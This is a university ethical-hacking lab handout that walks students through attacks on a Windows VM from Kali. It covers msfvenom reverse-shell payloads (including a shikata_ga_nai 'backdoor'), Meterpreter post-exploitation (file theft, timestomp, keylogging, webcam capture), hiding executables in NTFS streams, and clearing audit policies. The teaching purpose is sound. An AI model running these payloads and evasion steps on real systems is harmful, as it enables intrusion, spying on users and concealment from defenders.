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Objectives 

In continuation to our earlier lectures, this tutorial helps in providing you an 
overview of tools used to do gain access, escalate privilege, hide presence, and 
cover tracks.  

ETHICAL STATEMENT 

The tools and techniques you are exposed to’ in this lab is to work only on a 
virtual machine environment and the purpose is entirely to demonstrate various 
types of cyber-attacks. Experimentation with these tools, techniques, and 
resources is at the discretion of the instructor and institution. If you as a student 
consider using attack tools for educational purposes on an outside 
environment, you should contact me prior to any experimentation. 

Note: Unauthorized access to data, computer, and network systems is a crime 
in many jurisdictions and often is accompanied by severe consequences, 
regardless of the perpetrator’s motivations. It is the learner’s responsibility, as 
the user of this material, to be cognizant of and compliant with computer use 
laws. 

Use various tools to do a gain access, escalate your privilege, hide your 
presence and finally cover your tracks. (Continue from Part 1) 
Task 4: Exploiting Vulnerabilities using msfvenom to access the target 
remotely 
Task 5: Placing a Backdoor to gain control and intentionally damage the target 
Task 6: Hide Files using NTFS Streams 
Task 7: Covering Tracks 

 

ICONS Used in this document: 

Find out the outcome/ Answers/ Solution 

 

Do research and complete the task. Need referencing/ in-text citations. 
Shall be included as a part of your coursework. 

Recommended Screenshot (with Timestamp) for your Coursework. 

 

Recommended to address this part in your Coursework. 
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Lab Topology 

 

 Attacker Machines: Kali Linux, Parrot, Ubuntu (Its your Choice) 

 Victim Machines: Combination of Win 10, 11, Win Server 2019, 22, Linux 
(CentOS, Debian) 

 

Why to use these tools? These tools are used to scan the networks 
and identify hosts, ports, and services. It is one of the components 
of intelligence gathering that can be used by attackers to gather 
information and create a profile of their targets 
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You need Windows 10 and Kali Linux to complete this activity.  

Task 4 

Exploiting Vulnerabilities using msfvenom to access the target remotely 

Attacker: Kali Linux 

Victim: Windows 10 

Referring to our earlier lectures, hacking is a process of cracking passwords, 
escalating privileges, executing applications, hiding files and covering tracks. This 
activity helps in executing applications and gaining remote access to the target.  

1. Login to Kali Linux 
2. Use MSFVenom to create a payload 

What is a metaspoilt framework?  

 

What is the use of msfvenom?  

 
 

 
a. msfvenom -p windows/meterpreter/reverse_tcp --platform windows -a x86 -

f exe LHOST=10.10.10.11 LPORT=444 -o /home/kali/Desktop/expltest.exe 
(Here we are setting the listening host and port as Kali machine, the attacker 
and creating a payload expltest.exe.) 

3. Share the created Payload: (The above created payload need to be executed 
in the target machine. To execute in the target machine). 
a. Create a directory named “share” 
b. Assign necessary rights (read, write, execute) to the directory and files there. 

Change ownership of the directory and files. 
c. Copy the expltest.exe file to the “share” directory. 
d. Start apache service and Metasploit framework console. (if not started) 

# service apache2 start 
# msfconsole                   

e. Use Multihandler to execute the payload 
msf6 > use multi/handler 
[*] Using configured payload generic/shell_reverse_tcp 
 
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp 
payload => windows/meterpreter/reverse_tcp 
 
msf6 exploit(multi/handler) > set LHOST (Attacker IP)  
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LHOST => 10.10.10.11 
msf6 exploit(multi/handler) > set LPORT (Attacker Port)  
LPORT => 444 
msf6 exploit(multi/handler) > exploit 
 

4. Execute the payload:  
a. Login to your Target machine (Windows 10) and type http:// (target ip 

address/created directory name)  
b. Execute the exe file. 

 
5. Gain Remote Access:  

a. Login to your Attacker machine (Kali) and observe the handler 

 
b. The Meterpreter session should have started. If the Meterpreter shell is 

session is not connected, connect it manually. 

meterpreter > sessions -i 1 

c. Check the system info and run vnc. 
What is vnc?   
 
 
 

 
 

d. A VNC session of the target machine is opened. Could you successfully 
open a VNC session? If yes, document. If no, troubleshoot. 
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6. Report 
a. What is a metaspoilt framework? 
b. What is the use of msfvenom?  
c. Screenshot with illustrations on creating a Shared Directory for the 

Payload 
d. What is VNC? 
e. Your outcome. 
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You need Windows 10 and Kali Linux to complete this activity.  

Task 5 

Placing a Backdoor to gain control and intentionally damage the target 

Attacker: Kali Linux 

Victim: Windows 10 

Referring to our earlier lectures, hacking is a process of cracking passwords, 
escalating privileges, executing applications, hiding files and covering tracks. This 
activity helps in executing applications and gaining remote access to the target.  

1. Login to Windows 10 and create a confidential file and save it.  
Scenario: As an attacker our aim is to compromise the target using the 
techniques learned/ used so far. Access the confidential file and modify 
the file allocation table. 
To do that, we are placing a Backdoor. 
 

What is a Backdoor?  

  

2. Login to Kali Linux 
3. Use MSFVenom to create a Shikata payload 

What is a Shikata_ga_nai payload? 

 

 

 

So far, we have created two different payloads. What is the difference 
between them? Do research to different payloads and its purposes. 
Use adequate literatures to in-text cite. (Use the work for your 
Coursework)  

 

 

msfvenom -p windows/meterpreter/reverse_tcp --platform windows -a x86 -e 
x86/shikata_ga_nai -b "\x00" LHOST=10.10.10.11 -f exe > 
/home/kali/Desktop/MyBackdoor.exe         
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4. Start Apache Service and Msfconsole 
5. Place the newly create Payload to the existing “Shared” directory and install the 

payload in Target Machine. (Refer to our earlier activity until setting LHost) 
 
msf6 exploit(multi/handler) > show options  

Module options (exploit/multi/handler): 
   Name  Current Setting  Required  Description 
   ----  ---------------  --------  ----------- 
Payload options (windows/meterpreter/reverse_tcp): 
   Name      Current Setting  Required  Description 
   ----      ---------------  --------  ----------- 
   EXITFUNC  process          yes       Exit technique (Accepted: '', 
seh, thread, process, none) 
   LHOST     10.10.10.11      yes       The listen address (an interface 
may be specified) 
   LPORT     4444             yes       The listen port 
 
Exploit target: 
 
   Id  Name 
   --  ---- 
   0   Wildcard Target 

 
msf6 exploit(multi/handler) > exploit -j -z 

[*] Exploit running as background job 0. 
[*] Exploit completed, but no session was created. 
 
[*] Started reverse TCP handler on 10.10.10.11:4444  
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Login to Target and Install the Backdoor. 
 

 
msf6 exploit(multi/handler) > [*] Sending stage (175174 bytes) to 
10.10.10.10 
[*] Meterpreter session 1 opened (10.10.10.11:4444 -> 
10.10.10.10:49947 ) at 2022-03-20 10:10:02 -0400 
 

6. Once the Meterpreter session is successfully opened, launch the session. 
Before launching, view the active session 

a. sessions -i 

 
b. Launch Meterpreter shell. 

msf6 exploit(multi/handler) > sessions -i 1 
[*] Starting interaction with 1... 
 

c. Gather information. (You shall notice that the details about the target 
machine is available here) 
meterpreter > sysinfo 
meterpreter > ipconfig 
 

d. Using a similar command like above, check if the Meterpreter server is 
running as administrator.  
Which command would you use to confirm this? 
 
 
(meterpreter > getuid) 
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e. Confirm the working directory. 
Which command would you use to confirm the working directory? 
 
 
 

 
f. List the files in the working directory. Look for the confidential file you 

have created before beginning this activity. Go to the folder and try 
opening the file. 
 

 
meterpreter > cat confidential_document.txt  
The marking key is 5342meterpreter > 

Did you get access to the confidential file? What is the confidential data 
present in the document? If Yes, proceed further. If No, troubleshoot. 

 

 

g. Look at the MACE Value 
meterpreter > cat confidential_document.txt  
The marking key is 5342meterpreter > timestomp 
confidential_document.txt -v  
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What is MACE Value? 

 

Scenario: As an attacker, when you tried to access the confidential file 
(confidential_document.txt in my case), the MACE values might have changed. 
If the Target user finds out the MACE value change, he/she could doubt that the 
file has been read or modified by someone. As an attacker, clearing these helps 
you to remain undetected for a long time. 

By placing a backdoor, we have now gained access to the confidential files. There are 
more to do. Let us try other tasks too. 

7. Download a (exe) file 
a. Change the working directory to a different one where you have exe files. 

In my case, I have an exe file in C Drive. 

 
b. Try to download the exe file npp.7.5.4.Installer.exe to the Attacker 

Machine. (I my case, it is npp.exe file. You may choose a different file/ 
different directory) 
meterpreter > download npp.7.5.4.Installer.exe  
 

c. Try to search for confidential files.  
meterpreter > search -f myhashfile.txt 
Found 2 results... 
================== 
Path                     Size (bytes)  Modified (UTC) 
----                     ------------  -------------- 
c:\MyHashFile.txt        441           2022-03-20 07:27:35 -0400 
z:\Tools\MyHashFile.txt  441           2022-03-20 07:27:35 -0400 
 

d. Try to place a keylogger.  
meterpreter > keyscan_start  
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Starting the keystroke sniffer ... 
 

e. View the captured keystrokes 
meterpreter > keyscan_dump 
Dumping captured keystrokes... 
 

f. View the idle time 
meterpreter > idletime  
User has been idle for: 49 secs 
 

Use the same techinque to capture the webcam snapshots and streams. Record 
the steps with adequate screenshots. 

 

 

 

8. Report 
a. What is a Backdoor? 
b. What is a Shikata_ga_nai payload? 
c. What is the difference between the two different payloads we 

created? Do research to different payloads and its purposes. Use 
adequate literatures to in-text cite. (Use the work for your Coursework)  

d. What is MACE Value?  
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You need Windows Server 2016.  

Task 6 

Hide Files using NTFS Streams  

1. Login into your Windows Server 2016. Check your drive’s file system. 
What is your File System Format? 
 
 

2. Create a folder in C Drive. In my case, I have created HideMyFiles.  
3. Copy exe application file to the created Folder. I have taken two files for this 

activity. 

 
4. List the Directory to check if the files are present. 

 
 
 
 
 
 

5. Create a notepad with a name readme.txt using command prompt. 
C:\HideMyFiles>notepad readme.txt 
Write a basic read me note on the text file and save the file. 

6. Check the size of the exe files and the notepad files. 
What is the file sizes? 
Notepad: 
Exe: NPP.exe 
Exe: PwDump7.exe 

7. Hide the exe file in the txt file. 
type c:\HideMyFiles\npp.exe > c:\HideMyFiles\readme.txt:npp.exe 

8. Check the file size again. 
What is the file sizes? 
Notepad: 
Exe: NPP.exe 
Exe: PwDump7.exe 
Any Changes? Yes or No. Why? 
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9. Delete the npp.exe file from C drive HideMyFiles folder. (This action means, we 
have literally deleted the npp.exe file from our machine) 

10. Execute the Hidden exe file now.  
mklink backdoor_npp.exe readme.txt:npp.exe 

symbolic link created for backdoor_npp.exe <<===>> 
readme.txt:npp.exe  

11. Execute backdoor_npp.exe 
What happened when executing the above command? 
Did the file execute?  
If Yes, go to next step.  
If no, Troubleshoot 

 
12. Similarly do the same for PwDump7.exe file. 

What happened when executing the backdoor? 
Did the file execute? No, it wont execute the exe file. 
A error message pops out stating required DLL File was not found or 
missing. 
Do research to find out steps to execute the exe file along with the 
required DLL File. 
 
 
 
Document the step with adequate screenshot and description. You shall use 
these identified steps in your coursework. 

By hiding files using NTFS File Streams, what could you achieve?  

Two Dimensions: As an attacker, based on your activities so far, where 
you have created different exe files/ backdoors that you used to gain and 
maintain access. Those files could be hidden using NTFS streams (like this 
method), so that the users could not see your malicious file. So, you could 
execute them remotely whenever you need it. If you are a security personal 
(doing a penetration testing) keep in mind that the malicious files could 
be hidden in this format which needs your attention. 

13. Report 
a. Do research to find out steps to execute the exe file along with the 

required DLL File. Document the step with adequate screenshot and 
description. You shall use these identified steps in your coursework. 
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You need Windows Server 2016.  

Task 7 

Clearing Tracks 

1. Login into your Windows Server 2016.  
2. Use Auditpol.  
3. Login to your Windows 2016 Server. 
4. Command Prompt 

a. Auditpol /get/category:*  ┘ 
(It would list all the categories) 
b. Enable the Audit Policies 
c. auditpol /set /category:”system”, “account logon” /success:enable 

/failure:enable       ┘ 
d. Auditpol /get/category:*  ┘ 
(You could see the settings) 
e. To clear them: Auditpol /clear /y  Auditpol /get/category:*  ┘ 

 

What is Auditpol? How is it helpful in covering tracks?  

 

Set various Auditpol policies and document with screenshots 

 

List out similar tools that are used for covering tracks. 

 

5. Report 
a. What is Auditpol? 
b. Setting various polices using Auditpol. 
c. List out other tools used for auditing purpose/ covering tracks 
d. Document with adequate screenshots and necessary description 
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Record your Reflection: 

 

 

1. Understanding on all the activities 
2. Understanding about various tools used 
3. New/ Similar tools you identified and used 
4. Compare and Contrast the tutorial tools with your identified tools 
5. Rate yourself: How confident are you to do footprinting, reconnaissance, 

vulnerability assessment, social engineering, gaining access activity ethically? 
6. Any other Troubleshooting Steps, you need to share? 

 

End of All Activities. Our activities have completed. 

Checkpoint: 

Complete all the activities 

Use the Research Part, Screenshot Icons and Address in the Coursework part in 
your coursework. 

All the very best for your future!!!! 

  

 


